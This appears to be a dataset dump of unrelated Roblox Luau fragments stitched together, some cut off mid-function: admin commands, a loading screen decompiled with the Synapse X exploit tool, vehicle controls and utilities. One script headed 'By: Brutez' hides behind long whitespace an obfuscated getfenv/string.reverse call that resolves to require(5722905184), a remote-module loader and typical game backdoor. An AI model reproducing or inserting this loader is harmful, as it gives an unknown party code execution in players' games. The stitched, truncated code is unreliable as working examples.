Roblox/luau_corpus huggingface dataset:
--[[
	Commands:
	/kick
	/explode
	/trip
	/visible
	/invisible
]]

admin.kick = {
	["Command"] = "Kick",
	["Place"] = 1,
	
	["Function"] = function(arguments)
		local players = {}

		for i, playerName in pairs(arguments) do
			local player = findPlayer(playerName)

			if player then
				disconnect(player)
			end
		end
	end
}

admin.explode = {
	["Command"] = "Explode",
	["Place"] = 2,

	["Function"] = function(arguments)
		for i, playerName in pairs(arguments) do
			local player = findPlayer(playerName)

			if player then
				explode(player)
			end
		end
	end
}

admin.trip = {
	["Command"] = "Trip",
	["Place"] = 3,

	["Function"] = function(arguments)
		for i, playerName in pairs(arguments) do
			local player = findPlayer(playerName)

			if player then
				local humanoid = player.Character:FindFirstChild("Humanoid")

				if not humanoid then
					return
				end

				humanoid.PlatformStand = true
				task.wait(1.5)
				humanoid.PlatformStand = false
			end
		end
	end
}

admin.visible = {
	["Command"] = "Visible",
	["Place"] = 4,

	["Function"] = function(arguments)
		for i, playerName in pairs(arguments) do
			local player = findPlayer(playerName)

			if player then
				local character = player.Character or player.CharacterAdded:Wait()

				for i, v in pairs(character:GetDescendants()) do
					if v:IsA("Part") or v:IsA("BasePart") or v:IsA("MeshPart") then
						v.Transparency = 0
					end
				end

				character.HumanoidRootPart.Transparency = 1
				character.HitBox.Transparency = 1
			end
		end
	end
}

admin.invisible = {
	["Command"] = "Invisible",
	["Place"] = 5,

	["Function"] = function(arguments)
		for i, playerName in pairs(arguments) do
			local player = findPlayer(playerName)

			if player then
				local character = player.Character or player.CharacterAdded:Wait()

				for i, v in pairs(character:GetDescendants()) do
					if v:IsA("Part") or v:IsA("BasePart") then
						v.Transparency = 1
					end
				end

				character.HumanoidRootPart.Transparency = 1
				character.HitBox.Transparency = 1
			end
		end
	end
}

return admin
-- enter numbers you think are correct. the percentages will be automatically calculated

dropRates.Carpenter = 1
dropRates.DoublePoints = 1
dropRates.Instakill = 1
dropRates.MaxAmmo = 1
dropRates.Nuke = 1

return dropRates
-- Determine whether we're in tool or plugin mode
ToolMode = (Tool.Parent:IsA 'Plugin') and 'Plugin' or 'Tool'

local IsHttpServiceEnabled = nil
--// WIP
local function LoadPackage(package, folder, runNow)
	--// runNow - Run immediately after unpacking (default behavior is to just unpack (((only needed if loading after startup))))
	--// runNow currently not used (limitations) so all packages must be present at server startup
	local function unpackFolder(curFolder, unpackInto)
		if unpackInto then
			for _, obj in ipairs(curFolder:GetChildren()) do
				local clone = obj:Clone()
				if obj:IsA("Folder") then
					local realFolder = unpackInto:FindFirstChild(obj.Name)
					if not realFolder then
						clone.Parent = unpackInto
					else
						unpackFolder(obj, realFolder)
					end
				else
					clone.Parent = unpackInto
				end
			end
		else
			warn("Missing parent to unpack into for ".. tostring(curFolder))
		end
	end

	unpackFolder(package, folder)
end;

local function CleanUp()
	--local env = getfenv(2)
	--local ran,ret = pcall(function() return env.script:GetFullName() end)
	warn("Beginning Adonis cleanup & shutdown process...")
	--warn("CleanUp called from "..tostring((ran and ret) or "Unknown"))
	--local loader = server.Core.ClientLoader
	server.Model.Name = "Adonis_Loader"
	server.Model.Parent = service.ServerScriptService
	server.Running = false

	pcall(service.Threads.StopAll)
	pcall(function()
		for i, v in pairs(RbxEvents) do
			print("Disconnecting event")
			v:Disconnect()
			table.remove(RbxEvents, i)
		end
	end)
	--loader.Archivable = false
	--loader.Disabled = true
	--loader:Destroy()
	if server.Core and server.Core.RemoteEvent then
		pcall(server.Core.DisconnectEvent)
	end

	--[[delay(0, function()
		for i,v in next,server do
			server[i] = nil; --// Try to break it to prevent any potential hanging issues; Not very graceful...
		end
	--end)--]]

	warn("Unloading complete")
end;

server = {
	Running = true;
	Modules = {};
	Pcall = Pcall;
	cPcall = cPcall;
	Routine = Routine;
	LogError = logError;
	ErrorLogs = ErrorLogs;
	ServerStartTime = os.time();
	CommandCache = {};
};

locals = {
	server = server;
	CodeName = "";
	Settings = server.Settings;
	HookedEvents = HookedEvents;
	ErrorLogs = ErrorLogs;
	logError = logError;
	origEnv = origEnv;
	Routine = Routine;
	Folder = Folder;
	GetEnv = GetEnv;
	cPcall = cPcall;
	Pcall = Pcall;
};

service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
	local extra = {...}
	if eType == "MethodError" then
		if server and server.Logs and server.Logs.AddLog then
			server.Logs.AddLog("Script", {
				Text = "Cached method doesn't match found method: "..tostring(extra[1]);
				Desc = "Method: "..tostring(extra[1])
			})
		end
	elseif eType == "ServerError" then
		--print("Server error")
		logError("Server", msg)
	elseif eType == "TaskError" then
		--print("Task error")
		logError("Task", msg)
	end
end, function(c, parent, tab)
	if not isModule(c) and c ~= server.Loader and c ~= server.Dropper and c ~= server.Runner and c ~= server.Model and c ~= script and c ~= Folder and parent == nil then
		tab.UnHook()
	end
end, ServiceSpecific, GetEnv(nil, {server = server}))
----------------------------------
------------FUNCTIONS-------------
----------------------------------

function Jump()
	local character = Player.Character
	if character then
		local humanoid = character:FindFirstChild("Humanoid")
		if humanoid then
			humanoid.Jump = true
		end
	end
end
function HumanoidChanged(humanoid, property)
	--print(property)
	if property == "Jump" then
		humanoid.Jump = false
	elseif property == "Sit" then
		humanoid.Sit = true
	elseif property == "Parent" then
		Deactivate()
		Abort()
	end
end
function HumanoidDied()
	Deactivate()
end
function SetCamera(cframe)
	Camera.CameraType = Enum.CameraType.Scriptable
	Camera:Interpolate(cframe, cframe + cframe.lookVector, .5)
	--Camera.CoordinateFrame = cframe
end
function ReturnCamera()
	Camera.CameraType = Enum.CameraType.Custom
end
--[[
game.ReplicatedStorage.ToggleSleeping.OnServerEvent:Connect(function()
	workspace.Ignore.Zombies.Snowfella.RootPart:SetAttribute("Sleeping", not workspace.Ignore.Zombies.Snowfella.RootPart:GetAttribute("Sleeping"))
end)
]]

game.Players.PlayerAdded:Connect(function(ply)
	ply:WaitForChild("InGame").Value = true
	
	--[[
	ply.CharacterAdded:Connect(function()
		ply:WaitForChild("InGame").Value = true
	end)
	]]
end)
--local GROUP_ID = replace with wanted group ID(s), separate with comma
--local GROUP_RANK = replace with wanted group rank(s), e.g. 255, separate wtih comma

return function (registry)
	registry:RegisterHook("BeforeRun", function(context)
		if context.Group == "DefaultAdmin" and context.Executor.UserId ~= game.CreatorId then
			return "You don't have permission to run this command"
		end
		--if context.Group == "DefaultAdmin" and not (context.Executor:GetRankInGroup(GROUP_ID) == GROUP_RANK) then
			--return "You don't have permission to run this command"
		--end
		--remove --s here to enable for group usage
		registry:RegisterHook("AfterRun", function(context)
			print(context.Response) -- see the actual response from the command execution
			return "Command has been run."
		end)
	end)
end
--Returns whether the given position is under cover
local function UnderObject(pos, l)
	l = l or 120
	
	local hit, position = Workspace:FindPartOnRayWithIgnoreList(Ray.new(pos, UpVec * l), ignoreList)
	if hit then
		return hit.Transparency ~= 1 and true or UnderObject(position + UpVec, l - (pos - position).Magnitude)
	else
		return false
	end
end
--[=[
	@param object any -- Object to remove
	Removes the object from the Trove and cleans it up.
	```lua
	local part = Instance.new("Part")
	trove:Add(part)
	trove:Remove(part)
	```
]=]
function Trove:Remove(object: any): boolean
	local objects = self._objects
	for i,obj in ipairs(objects) do
		if obj[1] == object then
			local n = #objects
			objects[i] = objects[n]
			objects[n] = nil
			self:_cleanupObject(obj[1], obj[2])
			return true
		end
	end
	return false
end
--[=[
	Constructs a new symbol

	@param id any -- Identifier for the symbol (usually a string)
	@param scope Symbol? -- Optional symbol scope
	@return boolean -- Returns `true` if the `obj` parameter is a Symbol
]=]
function Symbol.new(id: any, scope: any)
	assert(id ~= nil, "Symbol ID cannot be nil")
	if scope ~= nil then
		assert(Symbol.Is(scope), "Scope must be a Symbol or nil")
	end
	local self = setmetatable({
		ClassName = CLASSNAME;
		_id = id;
		_scope = scope;
	}, Symbol)
	return self
end
-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane
-- because they are generated from cross products with a common vector. This function is computing
-- that intersection, but it's actually the general solution for the point halfway between where
-- two skew lines come nearest to each other, which is more forgiving.
local function RayIntersection(p0: Vector3, v0: Vector3, p1: Vector3, v1: Vector3): Vector3
	local v2 = v0:Cross(v1)
	local d1 = p1.X - p0.X
	local d2 = p1.Y - p0.Y
	local d3 = p1.Z - p0.Z
	local denom = Det3x3(v0.X,-v1.X,v2.X,v0.Y,-v1.Y,v2.Y,v0.Z,-v1.Z,v2.Z)

	if (denom == 0) then
		return ZERO_VECTOR3 -- No solution (rays are parallel)
	end

	local t0 = Det3x3(d1,-v1.X,v2.X,d2,-v1.Y,v2.Y,d3,-v1.Z,v2.Z) / denom
	local t1 = Det3x3(v0.X,d1,v2.X,v0.Y,d2,v2.Y,v0.Z,d3,v2.Z) / denom
	local s0 = p0 + t0 * v0
	local s1 = p1 + t1 * v1
	local s = s0 + 0.5 * ( s1 - s0 )

	-- 0.25 studs is a threshold for deciding if the rays are
	-- close enough to be considered intersecting, found through testing
	if (s1-s0).Magnitude < 0.25 then
		return s
	else
		return ZERO_VECTOR3
	end
end
--//Controller//--
Trigger.Triggered:Connect(function(Player)
	SpawnEvent:FireClient(Player, SpawnPoint)
	
end)
--[=[
	Throttles the update to the end of the defer lane. Can help optimize scenarios when
	Compute() can trigger multiple times per a frame.

	Generally not needed.

	@param observable Observable<T>
	@return Observable<T>
]=]
function Blend.Throttled(observable)
	return observable:Pipe({
		Rx.throttleDefer();
	})
end
-- Decompiled with the Synapse X Luau decompiler.

local l__RunService__1 = game:GetService("RunService");
local l__Parent__2 = script.Parent;
local l__Background__3 = l__Parent__2.Background;
local l__LogoFrame__4 = l__Background__3.LogoFrame;
local l__TweenService__1 = game:GetService("TweenService");
function tween(p1, p2, p3)
	l__TweenService__1:Create(p1, TweenInfo.new(p2), p3):Play();
end;
local l__Logo__2 = l__LogoFrame__4.Logo;
function displayLoadingScreen()
	l__Parent__2.Enabled = true;
	l__Background__3.BackgroundTransparency = 0;
	tween(l__Background__3.CircleLeft.UIStroke, 3, {
		Transparency = 0
	});
	tween(l__Background__3.CircleRight.UIStroke, 3, {
		Transparency = 0
	});
	task.wait(3);
	local v5, v6, v7 = pairs(l__Logo__2:GetChildren());
	while true do
		local v8, v9 = v5(v6, v7);
		if v8 then

		else
			break;
		end;
		v7 = v8;
		if v9.ClassName == "Frame" then
			v9.UIPageLayout.TweenTime = 0.75;
			v9.UIPageLayout:JumpTo(v9.ImageLabel);
			tween(v9.ImageLabel, 1, {
				ImageTransparency = 0
			});
			task.wait();
		end;	
	end;
	tween(l__LogoFrame__4.LoadingText, 1, {
		TextTransparency = 0
	});
	task.wait(2);
	if not game:IsLoaded() then
		game.Loaded:Wait();
	end;
	local v10, v11, v12 = pairs(l__Logo__2:GetChildren());
	while true do
		local v13, v14 = v10(v11, v12);
		if v13 then

		else
			break;
		end;
		v12 = v13;
		if v14.ClassName == "Frame" then
			v14.UIPageLayout.TweenTime = 2;
			v14.UIPageLayout:JumpTo(v14.Frame);
			tween(v14.ImageLabel, 0.15, {
				ImageTransparency = 1
			});
			task.wait();
		end;	
	end;
	tween(l__LogoFrame__4.LoadingText, 1, {
		TextTransparency = 1
	});
	tween(l__Background__3.CircleLeft.UIStroke, 1, {
		Transparency = 1
	});
	tween(l__Background__3.CircleRight.UIStroke, 1, {
		Transparency = 1
	});
	tween(l__Background__3, 3, {
		BackgroundTransparency = 1
	});
	task.wait(3);
	l__Parent__2.Enabled = false;
end;
game:GetService("ReplicatedFirst"):RemoveDefaultLoadingScreen();
if not l__RunService__1:IsStudio() then
	displayLoadingScreen();
end;
--Internal functions
function DataStore:Debug(...)
	if self.debug then
		print(...)
	end
end

function DataStore:_GetRaw()
	if self.getRawPromise then
		return self.getRawPromise
	end

	self.getRawPromise = self.savingMethod:Get():andThen(function(value)
		self.value = value
		self:Debug("value received")
		self.haveValue = true
	end):finally(function()
		self.getting = false
	end)

	return self.getRawPromise
end

function DataStore:_Update(dontCallOnUpdate)
	if not dontCallOnUpdate then
		for _,callback in pairs(self.callbacks) do
			callback(self.value, self)
		end
	end

	self.haveValue = true
	self.valueUpdated = true
end
-- FUNCTIONS --
return function(TargetCF)
	
	local spikes = FX.Club.Z:Clone()
	spikes.PrimaryPart.CFrame = TargetCF
	
	local originalSizeList = {
		spikes.Floor["1"].Size,
		spikes.Floor["2"].Size,
		spikes.Floor["3"].Size,
		spikes.Floor["4"].Size,
		spikes.Floor["5"].Size,
		spikes.Floor["6"].Size,
		spikes.Floor["7"].Size,
		spikes.Floor["8"].Size,
		spikes.Floor["9"].Size,
		spikes.Floor["10"].Size,
		spikes.Floor["11"].Size,
	}
	
	local floorSize = spikes.Floor.Size
	spikes.Floor.Size = Vector3.new()
	spikes.Floor.Transparency = 1
	
	coroutine.wrap(function() -- THREAD TO MAKE SPIKES INVISIBLE
		for i, v in pairs(spikes.Floor:GetChildren()) do
			if v:IsA("MeshPart") then
				v.Transparency = 1
				v.Size = Vector3.new()
			end
		end
	end)()
	
	spikes.Parent = workspace.Debris
	
	local impactSFX = RS.Sounds.Club.Z.Impact:Clone()
	impactSFX.Parent = spikes.Floor
	impactSFX:Play()
	
	local expSFX = RS.Sounds.Club.Z.Explosion:Clone()
	expSFX.Parent = spikes.Floor
	expSFX:Play()
	
	coroutine.wrap(function()
		for i, v in pairs(spikes.Floor:GetChildren()) do
			if v:IsA("MeshPart") then
				local spikeIndex = tonumber(v.Name)
				v.Transparency = 0
				TS:Create(v, TweenInfo.new(0.18, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = originalSizeList[spikeIndex]}):Play()
				
				local dustFX = spikes.Dust:Clone()
				dustFX.Parent = v
				dustFX:Emit(dustFX:GetAttribute("EmitCount"))
				
				task.wait(0.015)
			end
		end
	end)()
	
	spikes.Floor.Transparency = 0
	TS:Create(spikes.Floor, TweenInfo.new(0.25, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = floorSize}):Play()
	
	local dustFX = spikes.Dust:Clone()
	dustFX.Parent = spikes.Floor
	dustFX:Emit(dustFX:GetAttribute("EmitCount"))
	
	debrisModule.Shockwave(TargetCF.Position, 25, 55)
	
	task.delay(4, function()
		--coroutine.wrap(function()
			for i, v in pairs(spikes.Floor:GetChildren()) do
				if v:IsA("MeshPart") then
					local spikeIndex = tonumber(v.Name)
					TS:Create(v, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play()
					task.wait(0.025)
				end
			end
		--end)()
		task.wait(0.3)

		TS:Create(spikes.Floor, TweenInfo.new(0.35, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = Vector3.new()}):Play()
		game.Debris:AddItem(spikes, 2)
	end)
end
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 3			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 3			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
			Tune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key 
	Tune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown

	Tune.LaunchBuildup = 6000 --RPM in which launch control will build up to
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P				,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.ButtonA			    ,
		ContlrToggleABS			= Enum.KeyCode.ButtonA		     	,
	}
-- An optional function that an Action's onActivated callback can return. This
-- function gets called when the action is being deactivated so it can clean
-- itself up
export type ActionTeardown = () -> ()

export type Action = {
	-- The name of the action. This is shown first in tooltips
	name: string,

	-- A description of the action. This is shown after the name in tooltips
	description: string?,

	-- Icon displayed on the action bar
	icon: string,

	-- Icon displayed on the action bar when the action is active. This can only
	-- be used on parent actions, not sub-actions
	activeIcon: string?,

	-- Optional list of sub-actions. This allows you to create submenus of
	-- various other actions
	actions: { Action }?,

	-- The parent is only set for sub-actions and points to the action that
	-- contains it
	parent: Action?,

	-- Can be set to `true` for a sub-action that acts as the default option
	isDefault: boolean?,

	-- Optional callback that gets run when activating an action or sub-action.
	-- Typically if an action contains sub-actions, only the sub-actions will
	-- have onActivated defined
	onActivated: ((self: Action, store: any) -> ActionTeardown?)?,
}

export type State = {
	-- The last action that was activated. This can be any of the top-level
	-- actions or a sub-action
	lastActivatedAction: Action?,

	-- The current action that was activated that contains sub-actions
	parentAction: Action?,

	-- The active actions are stored in the state so that when an action is
	-- toggled it triggers a re-render.
	activeActions: { Action },

	-- Whether or not the submenu is shown. This happens when an action that has
	-- sub-actions has been activated
	isSubmenuShown: boolean,
}

return {}
--[[ By: Brutez. ]]--
--[[ Last synced 11/11/2020 02:25                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--// KEYLESS ENTRY V2
script.Parent:WaitForChild("Car")
local car = script.Parent.Car.Value
local plr = game.Players.LocalPlayer
local day = 390
local night = 1050

local input = ""
if car.DriveSeat.Values.Seatlock.Value == false then
	car.Filter:FireServer("lock",true)
	car.DriveSeat.FE_Lights:FireServer("flash")
else
	car.Filter:FireServer("lock",false)
	car.DriveSeat.FE_Lights:FireServer("flash")
	wait(1/2)
	car.DriveSeat.FE_Lights:FireServer('flash')
end
wait(.1)
script.Parent:Destroy()
-- functions

function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:Disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then
--[[ @brief Finds the object in the heap and reduces its value.
     @details Note: this is not an efficient operation. It runs in O(n) time where n is the size of the heap.
--]]
function Heap:HeapifyObject(element)
	for i = 1, #self do
		if self[i] == element then
			self:_HeapifyBottomUp(i);
			break;
		end
	end
end

function Heap.new()
	return setmetatable({}, Heap.Meta);
end

return Heap;
--------LEFT DOOR 6--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135)

game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
--//
-- Confetti Cannon by Richard, Onogork 2018.
--//
local svcRun = game:GetService("RunService");
local ConfettiCannon = require(script.ConfettiParticles);
ConfettiCannon.setGravity(Vector2.new(0,1));
local confetti = {};